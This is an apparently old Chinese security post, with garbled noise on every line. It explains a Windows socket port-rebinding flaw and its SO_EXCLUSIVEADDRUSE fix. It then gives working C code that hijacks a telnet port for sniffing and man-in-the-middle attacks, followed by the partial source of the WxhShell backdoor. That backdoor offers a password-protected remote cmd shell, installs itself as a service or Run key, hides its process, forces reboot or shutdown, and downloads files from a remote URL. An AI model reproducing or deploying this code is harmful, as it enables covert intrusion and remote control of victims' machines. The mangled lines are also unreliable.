在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6oh\#v3zV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U/9i'D[|{ j=&]=0F saddr.sin_family = AF_INET;
Wc6Jgpl uv&??F]/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D's Tv}P I-L52%E] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7FQ&LF46 G[;GP0\N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
x%J4A+kU tBJCfM 这意味着什么?意味着可以进行如下的攻击:
H8$l }pOz CxvL!ew 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yJyovfJz. V'-}B6 3S> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?W6qwm,?L nTG @=C# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2 %`~DVo q:}Q5gzZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DQ#rZi3I H<Ne\zAv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
FR bmeq3c pJnT \~o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
NU]+ {7 ?%QWpKO7X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]npsclvJ .dbZ;`s #include
%S'gDCwq #include
0.MD_s0)> #include
IjshxNk #include
/b|V=j}W DWORD WINAPI ClientThread(LPVOID lpParam);
nM=5L:d int main()
s *8)|N {
n8FmIoZ&` WORD wVersionRequested;
L6>;"]:f` DWORD ret;
"7G> WSADATA wsaData;
QsXy(w#F BOOL val;
4@qHS0$ SOCKADDR_IN saddr;
*VP-fyJp SOCKADDR_IN scaddr;
sf7~hN*
int err;
t\\oGH SOCKET s;
[WfigqY`b* SOCKET sc;
K@RE-K6{ int caddsize;
%oee x1`= HANDLE mt;
yF [|dB DWORD tid;
J*!_kg)>J wVersionRequested = MAKEWORD( 2, 2 );
55%j$f err = WSAStartup( wVersionRequested, &wsaData );
>+/2g if ( err != 0 ) {
WLO4P printf("error!WSAStartup failed!\n");
ryC7O'j_P return -1;
iJ-z&=dOe }
lR<1x saddr.sin_family = AF_INET;
[|5gw3y l?f%2:}m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|H . 8LPvb#9= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j\LJ{?;jC saddr.sin_port = htons(23);
VB}4#-dG? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)R+26wZ|n* {
f4mQDRlD printf("error!socket failed!\n");
aSGZF w return -1;
N I*x):bx }
],W/IDv val = TRUE;
6T`F'Fk[ //SO_REUSEADDR选项就是可以实现端口重绑定的
?z[k.l+6w if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
s7 789pR {
K6z)&< printf("error!setsockopt failed!\n");
WDF;`o*3 return -1;
8kRqF?rbj }
{:%A
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#Wf9` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
j%q,]HCANh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
u)hr f[XsnN2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[(O*W {
.Fl5b}C( ret=GetLastError();
%v"qFYVX" printf("error!bind failed!\n");
Dt ~3Qd0 return -1;
rGqT[~{t }
]di^H>,xU listen(s,2);
4WAs_~ while(1)
j,Vir"-) {
Fr|Ts>Kx caddsize = sizeof(scaddr);
=>0G //接受连接请求
W,D$=Bg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)q8!:Z if(sc!=INVALID_SOCKET)
OL2 b {
/[FES78p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
myvn@OsEw if(mt==NULL)
32S5Ai@Cd" {
&*\-4)Tf printf("Thread Creat Failed!\n");
e.>>al break;
( +x!wX( x }
c]x'}Kc }
8o7%qWX CloseHandle(mt);
37U2Tb!y' }
LP{@r ic closesocket(s);
.wPu
#* WSACleanup();
k@Q>(` return 0;
/ygC_,mx }
S [=l/3c DWORD WINAPI ClientThread(LPVOID lpParam)
T1_qAz+ {
ssUm1F\ SOCKET ss = (SOCKET)lpParam;
\Um & SOCKET sc;
O={
?c1i: unsigned char buf[4096];
xE"QX
N SOCKADDR_IN saddr;
FWb`F& long num;
P.>5`^ DWORD val;
M>xjs?{%k DWORD ret;
<cUaIb;(4 //如果是隐藏端口应用的话,可以在此处加一些判断
G?e\w+}Pj@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
qy^sdqHl@ saddr.sin_family = AF_INET;
D&]dlY@* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
D:I6nSoC saddr.sin_port = htons(23);
`9vCl@"IV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WWtksi, {
([Da*Tk* printf("error!socket failed!\n");
h4,S/n return -1;
2+'4 m#@) }
>$/PfyY7@# val = 100;
|WUm;o4E`U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ln&9WF\I {
3x6@::s~ ret = GetLastError();
Z&MfE0F/B return -1;
Z{p62|+Ck@ }
{{+woL'C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;p] f5R^ {
>VE!3' /' ret = GetLastError();
J12hjzk6@ return -1;
K."h}f95 }
.CAcG"42 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QP={b+8 {
yrCY-'% printf("error!socket connect failed!\n");
wS%j!|xhlV closesocket(sc);
M?3#XQDvD closesocket(ss);
bi<?m^j return -1;
JXNfE,_ }
#-^y9B while(1)
bKb}VP {
=e!o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
o8h1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
/q\{Os rX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
a]%>7yr4 num = recv(ss,buf,4096,0);
enw7?| ( if(num>0)
3w!,@=.q send(sc,buf,num,0);
>ZjGs8& else if(num==0)
C0#"U f break;
X ^\kI1 num = recv(sc,buf,4096,0);
cfrvx^,2& if(num>0)
n1;y"`gHk send(ss,buf,num,0);
&LM ^,xx} else if(num==0)
W9A
[Z break;
v9S1<|jN }
fo$Ac closesocket(ss);
bPhb d closesocket(sc);
fd&=\~1_$ return 0 ;
YjTA+1} }
xZ.c@u6: t^KoqJ G&f~A;'7k ==========================================================
go[(N6hN pU)g93 下边附上一个代码,,WXhSHELL
qR>"r"Fq D8r=Vf ==========================================================
??g `c=R!V hrZ=8SrW #include "stdafx.h"
D@
R>gqb 8Z1pQx-P2C #include <stdio.h>
Kulh:d:w #include <string.h>
HyX:4f|]' #include <windows.h>
rZSX fgfr #include <winsock2.h>
_6/q. #include <winsvc.h>
Lr ;PESV #include <urlmon.h>
lMW4SRk1C yw{;Qm2\7 #pragma comment (lib, "Ws2_32.lib")
|v?*}6:a #pragma comment (lib, "urlmon.lib")
pQ/
bIuq #nS[]UbwZ #define MAX_USER 100 // 最大客户端连接数
0*umf.R #define BUF_SOCK 200 // sock buffer
1}>u Y #define KEY_BUFF 255 // 输入 buffer
M>kk"tyM 9p '#a: #define REBOOT 0 // 重启
/:o (Ghc? #define SHUTDOWN 1 // 关机
!5escR!\D MDqUl:] #define DEF_PORT 5000 // 监听端口
Qin;{8I0 [bIR$c[G #define REG_LEN 16 // 注册表键长度
S`v+rQjW #define SVC_LEN 80 // NT服务名长度
FaVeP%v g XThdNU4G // 从dll定义API
o;\c$|TNU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2ij/! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
DTi\ 4&41 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DD(K@M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.dStV6 X1GpLy)p // wxhshell配置信息
++ZtL\h{7 struct WSCFG {
6;^ e int ws_port; // 监听端口
TP-<Lhy char ws_passstr[REG_LEN]; // 口令
H.R7,'9 int ws_autoins; // 安装标记, 1=yes 0=no
2B<0|EGtzw char ws_regname[REG_LEN]; // 注册表键名
'
+*,|;? char ws_svcname[REG_LEN]; // 服务名
(bBr O74lR char ws_svcdisp[SVC_LEN]; // 服务显示名
KWzJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Z.v2!u char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Ag#o&Y int ws_downexe; // 下载执行标记, 1=yes 0=no
MV.$Ay char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}?vVJm' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0*-nVC1 RxZ#`$F };
))z1T 8 $hM>%u // default Wxhshell configuration
n;+e( ob;; struct WSCFG wscfg={DEF_PORT,
XnCrxj "xuhuanlingzhe",
Js("H 1,
;?`l1:C5) "Wxhshell",
?5yj</W "Wxhshell",
gY=Ry=w9 "WxhShell Service",
JMa[Ulz "Wrsky Windows CmdShell Service",
rDvz2p"R "Please Input Your Password: ",
; Da[jFP 1,
hExw} c "
http://www.wrsky.com/wxhshell.exe",
{#Vck\& "Wxhshell.exe"
2*<'=*zaQ };
5/{";k)L+ 3jG
#<4;J // 消息定义模块
yk<$XNc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
PiTe/ char *msg_ws_prompt="\n\r? for help\n\r#>";
_o-lNt+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
u|'}a3 char *msg_ws_ext="\n\rExit.";
vKCgtk char *msg_ws_end="\n\rQuit.";
!R/-|Kjy char *msg_ws_boot="\n\rReboot...";
ZKT~\l char *msg_ws_poff="\n\rShutdown...";
V7qc9Gd@I char *msg_ws_down="\n\rSave to ";
QxjX:O nR()ei^X char *msg_ws_err="\n\rErr!";
/e0cx:.w char *msg_ws_ok="\n\rOK!";
qauZ-Qoc9 QaMB=wVr char ExeFile[MAX_PATH];
/V%]lmxQ int nUser = 0;
{g7[3WRy HANDLE handles[MAX_USER];
AvNU\$B4aG int OsIsNt;
|y*-)t *i>?YT SERVICE_STATUS serviceStatus;
$^1L|KgXp SERVICE_STATUS_HANDLE hServiceStatusHandle;
KOQ9K 0D*uZ,oBEw // 函数声明
e yLVu. int Install(void);
*xl930y int Uninstall(void);
3n=`SLj/a int DownloadFile(char *sURL, SOCKET wsh);
<\If: int Boot(int flag);
uKBSv*AM void HideProc(void);
%j=xL V\ int GetOsVer(void);
ydyGPZt int Wxhshell(SOCKET wsl);
L`!M3c@u void TalkWithClient(void *cs);
v-J9N(y" int CmdShell(SOCKET sock);
x`#|8 int StartFromService(void);
yQXHEB int StartWxhshell(LPSTR lpCmdLine);
RXj6L~vs5_ VZJ[h{ 6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^S'#)H-8C3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
C;3>q*Am4 W?B(Jsv // 数据结构和表定义
BIr24N SERVICE_TABLE_ENTRY DispatchTable[] =
/
hl:p {
=`l).GnN2` {wscfg.ws_svcname, NTServiceMain},
~GWn > {NULL, NULL}
h6Vm;{~ };
<%2A,
Vz" EpO5_T_ // 自我安装
_E{hB int Install(void)
P=j89-e {
/W6r{Et char svExeFile[MAX_PATH];
b(Ev : HKEY key;
3/w) mY-o strcpy(svExeFile,ExeFile);
>WsRCBA 8?S)>-mwv // 如果是win9x系统,修改注册表设为自启动
MwlhL? if(!OsIsNt) {
x\
pC& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v.ftfL! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,;2x.We RegCloseKey(key);
J"x M[c2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mu(EmAoenQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2eOde(K+ RegCloseKey(key);
zgdOugmmt_ return 0;
{Y%X }
/
xfg4 }
v=~=Q*\l }
H9^DlIv(' else {
2A+I8/zRG *1Lkde@|{ // 如果是NT以上系统,安装为系统服务
ZL3aO,G2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:!wdqn if (schSCManager!=0)
t1)~J {
#\[((y:q SC_HANDLE schService = CreateService
[,F5GW{x (
r="wd schSCManager,
J)w58/`?t wscfg.ws_svcname,
l9J ]<gG wscfg.ws_svcdisp,
4}~zVT0'~ SERVICE_ALL_ACCESS,
}/%(7Ff{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^}-(8~_en SERVICE_AUTO_START,
-}Jf4k#G SERVICE_ERROR_NORMAL,
6tE<`"P! svExeFile,
H nRd NULL,
0wmz2zKV NULL,
j]#-DIL NULL,
ZjE!?
'(ef NULL,
4I>I NULL
|$r|DX1[ );
B@,L83 if (schService!=0)
&DMKZMj<Q* {
DO!?]" CloseServiceHandle(schService);
I\6u(;@ CloseServiceHandle(schSCManager);
OOEmXb]8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
WCbv5)uTUs strcat(svExeFile,wscfg.ws_svcname);
!KUV,>L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Di3<fp#w# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;)^eDJ< RegCloseKey(key);
By
t{3$ return 0;
4s!rrDN }
~$0Qvyb> }
0YsC@r47wL CloseServiceHandle(schSCManager);
{-sy,EYcw }
Q1G?e,Q }
He4sP`&I 3q=A35*LT> return 1;
w,\#)<boyb }
o,!r t1&0 L`yyn/2> // 自我卸载
DcN s`2 int Uninstall(void)
G_wzUk=L {
t}E1NXW HKEY key;
mW_<c,3D. 3
;F=EMz{ if(!OsIsNt) {
sLV bFN` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EHT5Gf RegDeleteValue(key,wscfg.ws_regname);
ndkV(#wQS RegCloseKey(key);
PNSZ
j# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Fejs9'cB RegDeleteValue(key,wscfg.ws_regname);
X*2MNx^K~ RegCloseKey(key);
silTL_$ return 0;
$I L7c]Gw }
eCYgi7? }
*pMgjr }
9w
-t9X>X else {
`}s$cgEG t@Qs&DZ7k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ks.pb !r if (schSCManager!=0)
@`N)`u85[ {
T4`.rnzyRb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
mAk@Q|u if (schService!=0)
Hnwir!=7 {
%y~=+Sm%m if(DeleteService(schService)!=0) {
djeax CloseServiceHandle(schService);
G)b6Rit CloseServiceHandle(schSCManager);
:^DuB_ return 0;
ellj/u61bj }
iPMI$ CloseServiceHandle(schService);
T jO}P\p }
xf8C$|, CloseServiceHandle(schSCManager);
l>RW&C&T }
g?ID}E~< }
1"r6qYN!> }bG|(Wp9 return 1;
nT0FonK> }
W@w#A] o$4n D#P3 // 从指定url下载文件
L Ty[) int DownloadFile(char *sURL, SOCKET wsh)
%,rUN+vW {
t)74( HRESULT hr;
X I\zEXO char seps[]= "/";
{]~b^=qE$ char *token;
uE~? 2G char *file;
j+:q:6 = char myURL[MAX_PATH];
[-cYFdt"V char myFILE[MAX_PATH];
+*3\C! BzL>,um strcpy(myURL,sURL);
Qo{Ez^q@J token=strtok(myURL,seps);
Oslbt8)U6 while(token!=NULL)
C+-xC~ {
8$3G c"= file=token;
m'$]lf;* token=strtok(NULL,seps);
%|[+\py$Q }
vLW&/YJ6 Zqke8q GetCurrentDirectory(MAX_PATH,myFILE);
:qi"I;=6 strcat(myFILE, "\\");
D+/27# strcat(myFILE, file);
qZlb?b" send(wsh,myFILE,strlen(myFILE),0);
l6.z-Qw send(wsh,"...",3,0);
NAjK0]SRY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T~UKWAKX} if(hr==S_OK)
A-vK0l+ return 0;
\?-`?QPux else
PNLtpixZ return 1;
~/J:p5?L &[}T41 }
n83,MV?- }E+}\& // 系统电源模块
>ZKE int Boot(int flag)
+(VHnxNQs {
eN@V?G26K HANDLE hToken;
N<$U:!Z TOKEN_PRIVILEGES tkp;
X#<#7. -.:[a3c? if(OsIsNt) {
g4<w6eB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
dOArXp`s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+1Oi-$
2- tkp.PrivilegeCount = 1;
?<\K!dA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l|[cA}HtB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
oJw~g[ if(flag==REBOOT) {
/"+n{*9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0"$Ui#r` return 0;
bNR}Mk]? }
~WK>+T,% else {
"q4c[dna if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,KF>PoySA return 0;
? &ew$% }
5_b`QO }
zJS,f5L6) else {
E~xK1x" if(flag==REBOOT) {
HONrt|c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y9ueE+6 return 0;
LD5n_W }
LUv>0G#L[ else {
#L.fGTb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`<2y
[<y return 0;
MK7S*N1 }
IB:Wh;_x }
pb_+_(/c TOV531
return 1;
{~ ZSqd }
FLJdnL Rm 1obP // win9x进程隐藏模块
%iY-}uhO void HideProc(void)
Yw<K!'C {
pc<")9U%/ J]5sWs HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
zr%lBHuW if ( hKernel != NULL )
#q40 >)] {
?"\`u; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
vbzeabm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ipnvw4+ FreeLibrary(hKernel);
&yv%"BPV }
- XIjol( @yPa9Ug(V return;
K~OfC }
g4_DEBh ,# rl" // 获取操作系统版本
703=.xj int GetOsVer(void)
|U%S<X {
O/$pT%D1x OSVERSIONINFO winfo;
f m.-*`ax winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
M0DdrL/
L GetVersionEx(&winfo);
utKtxLX" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'x
BBQP return 1;
{`BC$V else
9'C kV [ return 0;
D`PnY&ffT }
JzMPLmgG/ Udv5Y // 客户端句柄模块
f
sAgXv
int Wxhshell(SOCKET wsl)
QN:gSS{30 {
Ks:~Z9r} SOCKET wsh;
>up'`K, struct sockaddr_in client;
1iEZ9J? DWORD myID;
A"FlH:Pn VYI%U'9Q while(nUser<MAX_USER)
1$ez}k, {
48Y5ppcS int nSize=sizeof(client);
"*|plB wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
w35r\x + if(wsh==INVALID_SOCKET) return 1;
8=OK8UaU &Al9%W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
q}*"0r if(handles[nUser]==0)
!tBNA closesocket(wsh);
7
N+;K0 else
5fPYtVm nUser++;
12v5*G[X }
ivsp):W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|5S/h{gq a@Tn_yX return 0;
l j*ELy }
y^_'g2H ,$@nbS{Q] // 关闭 socket
H[?~u+ void CloseIt(SOCKET wsh)
ja*k\w{U' {
_;",7bT80 closesocket(wsh);
`W< 7. nUser--;
&-W5T?Sl ExitThread(0);
2f ]CnD0$ }
w~@.& 3/mVdU?U // 客户端请求句柄
QPjmIO void TalkWithClient(void *cs)
4 F~e3 {
]YYjXg}% (-Rh%ZHH SOCKET wsh=(SOCKET)cs;
^^QW< char pwd[SVC_LEN];
aG;6^$H~ char cmd[KEY_BUFF];
@=q,,t$r char chr[1];
X~t] qT int i,j;
XH&Fn+ 3>qUYxG8 while (nUser < MAX_USER) {
cGiS[-g FLdO if(wscfg.ws_passstr) {
{ve86 POY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L8n1p5gx3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FDM&rQ //ZeroMemory(pwd,KEY_BUFF);
7q?u`3l i=0;
j J6Y z while(i<SVC_LEN) {
@sv==|h J8I_tF6 // 设置超时
|4//%Ll/ fd_set FdRead;
g9(zJ struct timeval TimeOut;
JViglO1\ FD_ZERO(&FdRead);
t]LCe\# FD_SET(wsh,&FdRead);
|j53'>N[ TimeOut.tv_sec=8;
-Qx:-,.a TimeOut.tv_usec=0;
50%
|9D0?Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0:UK)t)3I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=0 W`tx ?n)r1m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xxOo8+kA pwd
=chr[0]; `"QUA G
if(chr[0]==0xd || chr[0]==0xa) { g{wIdV
pwd=0; (v(!l=3
break; bUbM }
} D ODo
!
i++; MVHj?
} &RP!9{F<
<y1V2Np
// 如果是非法用户,关闭 socket LcCb[r
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4qo4g+
} 9'F-D
6dQa|ACX_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Icf 4OAx
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dt?O_Bdv[
2xRb$QF
while(1) { uV.3g 1m
QA7SQcd,
ZeroMemory(cmd,KEY_BUFF); eA9U|&o
<Ur(< WTV
// 自动支持客户端 telnet标准 E< nXkqD
j=0; v<iMlOEt
while(j<KEY_BUFF) { <e"O`*ZJ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yO.3~H)c
cmd[j]=chr[0]; ,\Gn
if(chr[0]==0xa || chr[0]==0xd) { K1#Y{k5D}
cmd[j]=0; wJ-G7V,)
break; 9], ;i7c
} 3;=nQ{0b
j++;
@>f]0,"(
} )\_xB_K\
yA_;\\
// 下载文件 9i@AOU
if(strstr(cmd,"http://")) { x][vd^iW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); o~!4&
if(DownloadFile(cmd,wsh)) HH+R47%*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %98F>wl
else [Z6]$$!#2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @!6eRp>Z
} c 2j?<F1
else { L(Q v78F
l=*^FK]L`
switch(cmd[0]) { 4S|! iOY
*0M#{HQ
// 帮助 8[5%l7's
case '?': { *9e T#dH
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AfW63;kH
break; 8=ubMqr[
} !J!zi
// 安装 vco/h
case 'i': { I!lzOg4~
if(Install()) SzkF-yRd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s`Fv!
else lM Gz"cym
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J411bIxD+q
break; hk4f)z
} _H@s^g
// 卸载 dj4 g
case 'r': { {;^booq
if(Uninstall()) Us.yKAHPV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Yp\.K z
else ERQa,h/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D4'"GaCv
break; >U~.I2sz
} "{;]T
// 显示 wxhshell 所在路径 AWCzu5ve
case 'p': { ^T"9ZBkb
char svExeFile[MAX_PATH]; VHVU*6_w
strcpy(svExeFile,"\n\r"); <K:?<F
strcat(svExeFile,ExeFile); b6_*ljM
send(wsh,svExeFile,strlen(svExeFile),0); "lLt=s2>L
break; zNRoFz.
} lqAU5K{wQ
// 重启 A@*P4E`xp
case 'b': { w_G/[R3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,$5;
if(Boot(REBOOT)) nS[0g^}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_ Sh#d&
else { 0TU~Q
closesocket(wsh); udB:ys
ExitThread(0); #/sKb2eQ
} u,[Yaw"L
break; |GE3.g
} o*97Nbjn
// 关机 h*)spwF-
case 'd': { ?
Ldw\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &5/`6-K
if(Boot(SHUTDOWN)) g#`(&
k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qRsPi0;
else { Q6Q>b4 .3
closesocket(wsh); R6dw#;6{I
ExitThread(0); rgILOtk[
} * b>W
break; R?1;'pvpa[
} X obiF
// 获取shell Tz58@VY V
case 's': { W-=~Afy
CmdShell(wsh); ^te9f%>$l
closesocket(wsh); m}6GVQ'Q
ExitThread(0); rS/Q
break; }aXc,;Ps
} &9PzBc
// 退出 xuO5|{h
case 'x': { N-jFA8n
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TJ7on.;
CloseIt(wsh); lE08UEk1i
break; }txHuq1Q.
} K"eR6_k
// 离开 ;3Fgy8T
case 'q': { +OK.[ji?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); t-dN:1
closesocket(wsh); 00?^!';
WSACleanup(); m\U@L+L
exit(1); |U1X~\""
break; @z$V(}(O^
} n?&G>`u*
} 1W8[
RET
} N:0/8jmmO
(rt DT
// 提示信息 8~:qn@Z|E
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .qy._C2(
} Y[$[0
} T{]Tb=
({Fus@/
return; !OPK?7
} #93;V'b]
k<"ZNQm$.
// shell模块句柄 @`k!7?
Sq
int CmdShell(SOCKET sock) ex $d~
{ V;=SncUb
STARTUPINFO si; xex/L%!Rj
ZeroMemory(&si,sizeof(si)); !rb)Y;WQt
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P~;NwHZ?k
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vj0`*nC)/
PROCESS_INFORMATION ProcessInfo; {#=q[jVi%1
char cmdline[]="cmd"; 0Z2![n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V. 'EP
return 0; PPDm*,T.
} (8@._
+q)
^pCC
// 自身启动模式 @]WN|K
int StartFromService(void) RFDwL~-p
{ [>;U1Wt
typedef struct *M/3 1qI
{ }_3<Q\j
DWORD ExitStatus; JmWN/mx
DWORD PebBaseAddress; lj@c"Yrk
DWORD AffinityMask; LEc%BQx
DWORD BasePriority; 1
W2AE?
ULONG UniqueProcessId; Nk86Y2h
ULONG InheritedFromUniqueProcessId; _(<[!c!@0
} PROCESS_BASIC_INFORMATION; xlqRW"
u` `FD
PROCNTQSIP NtQueryInformationProcess; "^zxq5u
